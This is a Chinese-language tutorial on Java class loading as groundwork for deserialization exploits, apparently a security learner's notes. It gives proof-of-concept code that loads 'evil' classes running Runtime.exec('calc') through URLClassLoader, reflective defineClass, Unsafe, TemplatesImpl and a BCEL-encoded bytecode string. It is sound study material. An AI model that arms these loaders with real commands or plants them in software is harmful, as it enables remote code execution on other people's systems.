Java基础篇-类加载机制
<1>Javac原理
javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)
<2>类加载过程
先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行
public class test05 {
public static void main(String[] args) {
A a = new A();
System.out.println(a.m);
/*
* 1. 加载到内存,会产生一个类对应Class对象
* 2. 链接,链接结束后m=0
* 3. 初始化
* <clinit>(){
* System.out.println("A类静态代码块初始化");
* m = 300;
* m = 100
* }
* 所以 m=100
*/
}
}
class A{
{
System.out.println("Empty block initial");
}
static {
System.out.println("A类静态代码块初始化");
m = 300;
}
static int m = 100;
public A(){
System.out.println("A类的无参构造初始化");
}
输出:
A类静态代码块初始化
Empty block initial
A类的无参构造初始化
首先调用的是 static{} 其次是 {} 然后是 无参构造 有参构造
其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯,
但在当前构造函数内容的前⾯
<3> 动态加载字节码
(1)字节码的概念
严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中
而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下
(2)类加载器的原理
从前面提到的代码块的加载顺序我们得知:在 loadClass() 方法被调用的时候,是不进行类的初始化的
双亲委派机制类加载访问流程:
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
load_class
ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader
loadClass() -> findClass(重写的方法) -> defineClass(从字节码加载类)
URLClassLoader 任意类加载:file/http/jar
ClassLoader.defineClass 字节码加载任意类
UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成
下面演示:
(3)URLClassLoader类加载class文件 ★
URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
URLClassLoader:输入一个URL,从URL内加载一个类出来
例一:
- 构造一个恶意类
package load_class;
import java.io.IOException;
public class URLClassLoader_evilHello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
javac URLClassLoader_evilHello.java 生成.class文件
编译动态加载类
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoader_load_class {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// URLClassLoader:输入一个URL,从URL内加载一个类出来
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\")});
Class<?> c = urlClassLoader.loadClass("URLClassLoader_evilHello");
c.newInstance();
//c.getDeclaredConstructor().newInstance();
}
}
java的类加载机制,可以让类初始化时,会执行static静态区里的代码,这里我们通过URLClassLoader类加载了URLClassLoader_evilHello.class 文件,加载了恶意类。赋值给 Class c,然后我们 c.newInstance();实例化,初始化会执行static静态区里的代码,弹出来了计算器。
例二:
再构造一个恶意 Test类:
import java.io.IOException;
public class Test {
public Test() {
}
public static void rce(String var0) throws IOException {
Runtime.getRuntime().exec(var0);
}
}
利用URLClassLoader动态加载恶意类,再利用反射调用里面的rce方法
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class loadclass {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, MalformedURLException {
// 从url指定的目录下加载.class文件
/*
* 使用默认委托父类加载器为指定的URL构造一个新的URLClassLoader。 在父类加载器中首次搜索后,
* 将按照为类和资源指定的顺序搜索 URL。 任何以“/”结尾的 URL 都被假定为指向一个目录。 否则,该 URL
* 被假定为引用一个 JAR 文件,该文件将根据需要下载和打开。
* 因此您有两个选择:
* Refer to the directory that the .class file is in
* Put the .class file into a JAR and refer to that
* */
URL url = new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\");
// 创建URLClassLoader加载本地.class文件
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
//rce命令弹出计算器
String cmd = "calc";
// 通过URLClassLoader加载.class中的Test类
Class aClass = urlClassLoader.loadClass("Test");
// invoke调用Test类中的rce方法
aClass.getMethod("rce", String.class).invoke(null, cmd);
}
}
(4)defineClass方法加载字节码 ★
defineClass是一个protected类型,所以只能通过反射调用,字节码任意加载类
构造恶意类:Hello.java
import java.io.IOException;
public class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
javac Hello.java 生成.class字节文件
利用ClassLoader类的 defineClass方法 自定义读取Hello.class,构建恶意Hello类:
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class defineClass_loadclass {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
//通过类加载器的 Class对象 反射调用getDeclaredMethod()方法,获取类加载器Class对象里的 defineClass方法 自定义恶意类
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));
Class c = (Class) defineClassMethod.invoke(cl,"Hello",code,0,code.length);
/*实际上 方法.invoke激活,返回的类型是根据这个方法返回值决定的。又因为defineClass方法可以返回Class对象,
* 因次这里可以通过强制类型转化 拿到一个从.class里得到的恶意Hello类 然后通过Class c = (Class)赋值给c
* 大多数方法是void类型的,返回null 因此 方法.invoke默认会是object类型(测试 null好像是object)
* */
System.out.println(c);
c.newInstance();
}
}
弹出来了计算器
在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到
(5)Unsafe类 加载字节码
package load_class;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class unsafe_defineclass {
public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Hello", code, 0, code.length, classLoader, null);
calc.newInstance();
}
}
(6)TemplatesImpl 加载字节码 ★
TemplatesImpl类中
可以看到存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法
简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
调用链为:
/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/
我们先构造一个恶意的 执行代码的类
因为链子里想走通,需要满足这个类需要继承 AbstractTranslet 所以需要重写 AbstractTranslet的方法
为什么需要继承,后面CC链里会详细分析
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class templatesImpl_evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
poc如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplateRce {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\lenovo\\Desktop\\templatesImpl_evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
((Field) field).set(obj, value);
}
}
(7)BCEL ClassLoader 加载字节码
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:
- Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码
- Utility 用于将原生的字节码转换成BCEL格式的字节码:
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class BCELClassLoaderRCE {
public static void main(String[] args) throws ClassNotFoundException, IOException {
Class<?> cls = Class.forName("org.example.evil");
JavaClass javaClass = Repository.lookupClass(cls);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
}
}
这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
注:这里ClassLoader包不要导入错了 应为 com.sun.org.apache.bcel.internal.util.ClassLoader
package org.example;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BCELClassLoaderRCE {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException {
Class<?> cls = new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMo$da$40$Q$7d$L$Ecc$C$n$F$f2$d1$7c$d06$J$f4P$lz$E$f5R5R$U$t$a9BD$d5$e3$b2$dd$9aM$8d$8d$8c$a1$fc$a3$9e$b9$b4U$x5$f7$fc$a8$aa$b3$$$o$u$89$r$cf$ec$bc$f7$e6$cdx$7d$fb$f7$d7$l$A$af$d1$b0$60b$c3$c2$s$b6r$d8$d6$f9$a9$81$j$D$bb$W$b2$d83$b0o$a0$ce$90m$ab$40$c5o$Y$d2$8df$97$n$f36$fc$q$Z$8a$ae$K$e4$f9x$d0$93$d1$V$ef$f9$84$94$ddPp$bf$cb$p$a5$eb9$98$89$fbj$94p$91$e7$c8$v$l$M$7d$e9$c8$89$f2$5b$M$b9$b6$f0$e7$d6$8c$a4$V$f7$9aO$b8$a3B$e7$e4$e2$ddT$c8a$ac$c2$80d$85N$cc$c5$973$3eL$yiA$G$ab$T$8e$p$n$8f$95$kaj$bbW$ba$d7$86$85$bc$81g6$9e$e3$F$cd$a6u$84$8d$D$i2$ac$3f$e2$cd$b0$95$a0$3e$P$3c$e7r$i$c4j$m$X$a4$f6$3ab$u$dd$df$9b$a0$bb$a6$8b$de$b5$U1$c3$da$D$l$da$d1$93$f1$a2$a84$9a$ee$D$N$7d$5bFN$a5$608j$y$b1$9d8R$81$d7Znx$l$85B$8eF$d4$b0$b1$ac$bc$eaG$e1W$7d$v$adf$Xu$e4$e8o$ea$t$F$a6$_$82$a2M$95C$99Q$5ey$f9$Dl$96$d0$F$8a$d9$ff$mV$v$da$f3s$R$r$ca9$ac$z$9a$3f$p$9dp$b5$9fH$95$d3$df$91$f9$f0$N$85$d3$df$c8$7e$q7$e3f$96$90$sIWH$a8m$abtB$b2I$9eP$930$8b0$7b1$a6$40X$Z$ebT$3d$a1$d7$40$ca5P1$89$a8$s$9b$d5$fe$By$9aqE$9c$C$A$A");
cls.newInstance();
/*
Class<?> cls = Class.forName("org.example.evil");
JavaClass javaClass = Repository.lookupClass(cls);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
*/
}
}
那么为什么要在前面加上 $$BCEL$$ 呢
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode
这么多种姿势,实际上都是为了去加载那个 .class文件 也就是字节码文件 从而利用。
参考:https://drun1baby.top/2022/06/03/Java反序列化基础篇-05-类的动态加载/#7-利用-BCEL-ClassLoader-加载字节码